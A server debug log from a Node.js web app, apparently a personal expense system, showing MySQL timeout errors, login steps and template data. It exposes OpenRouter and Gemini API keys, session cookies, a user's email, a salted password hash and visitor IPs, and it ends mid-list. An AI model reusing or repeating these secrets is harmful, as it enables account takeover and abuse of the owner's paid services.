2025-12-17T19:45:14.383Z server-connect:app Executing action step identify
2025-12-17T19:45:14.383Z server-connect:app options: { provider: 'security' }
2025-12-17T19:45:14.383Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-17 22:11:56' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-17 22:11:56' as DATETIME)"
}
2025-12-17T22:21:47.085Z server-connect:router Serving templateView /
2025-12-17T22:21:47.086Z server-connect:app Executing action step identify
2025-12-17T22:21:47.087Z server-connect:app options: { provider: 'security' }
2025-12-17T22:21:47.087Z server-connect:auth No login cookie found
2025-12-17T22:21:47.087Z server-connect:output identity: false
2025-12-17T22:21:47.087Z server-connect:app Executing action step restrict
2025-12-17T22:21:47.087Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-17T22:21:47.087Z server-connect:output restrict: undefined
2025-12-18T00:09:02.319Z server-connect:router Serving templateView /
2025-12-18T00:09:02.320Z server-connect:app Executing action step identify
2025-12-18T00:09:02.320Z server-connect:app options: { provider: 'security' }
2025-12-18T00:09:02.320Z server-connect:auth No login cookie found
2025-12-18T00:09:02.320Z server-connect:output identity: false
2025-12-18T00:09:02.320Z server-connect:app Executing action step restrict
2025-12-18T00:09:02.320Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T00:09:02.322Z server-connect:output restrict: undefined
2025-12-18T00:09:02.358Z server-connect:router Serving templateView /login
2025-12-18T00:09:02.359Z server-connect:app Executing action step identify
2025-12-18T00:09:02.359Z server-connect:app options: { provider: 'security' }
2025-12-18T00:09:02.359Z server-connect:auth No login cookie found
2025-12-18T00:09:02.359Z server-connect:output identity: false
2025-12-18T00:09:02.359Z server-connect:router Render template layouts/authentication
2025-12-18T00:09:02.359Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
    'accept-language': 'en-us,en;q=0.5',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.12.15.46',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T00:09:02.358Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.12.15.46',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_CHARSET: 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
    HTTP_ACCEPT_LANGUAGE: 'en-us,en;q=0.5',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.12.15.46',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 01:01:57' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 01:01:57' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 02:18:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 02:18:58' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-18 02:33:58' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-18 02:33:58' as DATETIME)"
}
2025-12-18T02:37:14.669Z server-connect:router Serving templateView /
2025-12-18T02:37:14.671Z server-connect:app Executing action step identify
2025-12-18T02:37:14.671Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:14.671Z server-connect:auth No login cookie found
2025-12-18T02:37:14.671Z server-connect:output identity: false
2025-12-18T02:37:14.671Z server-connect:app Executing action step restrict
2025-12-18T02:37:14.671Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T02:37:14.672Z server-connect:output restrict: undefined
2025-12-18T02:37:14.893Z server-connect:router Serving templateView /login
2025-12-18T02:37:14.894Z server-connect:app Executing action step identify
2025-12-18T02:37:14.894Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:14.894Z server-connect:auth No login cookie found
2025-12-18T02:37:14.894Z server-connect:output identity: false
2025-12-18T02:37:14.894Z server-connect:router Render template layouts/authentication
2025-12-18T02:37:14.894Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:14.893Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-18T02:37:24.880Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-18T02:37:24.881Z server-connect:app Executing action step identify
2025-12-18T02:37:24.881Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:24.934Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-18T02:37:24.937Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-18T02:37:24.982Z server-connect:output identity: 1
2025-12-18T02:37:24.982Z server-connect:app Executing action step login
2025-12-18T02:37:24.982Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-18T02:37:24.983Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-18T02:37:25.034Z server-connect:output identity: 1
2025-12-18T02:37:25.034Z server-connect:app Executing action step restrict
2025-12-18T02:37:25.034Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T02:37:25.034Z server-connect:output restrict: undefined
2025-12-18T02:37:25.341Z server-connect:router Serving templateView /
2025-12-18T02:37:25.342Z server-connect:app Executing action step identify
2025-12-18T02:37:25.342Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:25.342Z server-connect:output identity: 1
2025-12-18T02:37:25.342Z server-connect:app Executing action step restrict
2025-12-18T02:37:25.342Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T02:37:25.343Z server-connect:output restrict: undefined
2025-12-18T02:37:25.343Z server-connect:app Executing action step restrict
2025-12-18T02:37:25.343Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T02:37:25.343Z server-connect:output restrict: undefined
2025-12-18T02:37:25.343Z server-connect:router Render template layouts/main
2025-12-18T02:37:25.343Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fdb1-9uUc5J+XJFJodaZmHHqzpey4jxo"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fdb1-9uUc5J+XJFJodaZmHHqzpey4jxo"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-18T02:37:26.544Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T02:37:26.548Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T02:37:26.549Z server-connect:app Executing action step identify
2025-12-18T02:37:26.549Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:26.549Z server-connect:output identity: 1
2025-12-18T02:37:26.549Z server-connect:app Executing action step restrict
2025-12-18T02:37:26.549Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T02:37:26.551Z server-connect:output restrict: undefined
2025-12-18T02:37:26.551Z server-connect:app Executing action step single
2025-12-18T02:37:26.551Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T02:37:26.552Z server-connect:app Executing action step identify
2025-12-18T02:37:26.552Z server-connect:app options: { provider: 'security' }
2025-12-18T02:37:26.552Z server-connect:output identity: 1
2025-12-18T02:37:26.552Z server-connect:app Executing action step restrict
2025-12-18T02:37:26.552Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T02:37:26.553Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T02:37:26.553Z server-connect:output restrict: undefined
2025-12-18T02:37:26.554Z server-connect:app Executing action step select
2025-12-18T02:37:26.554Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T02:37:26.557Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
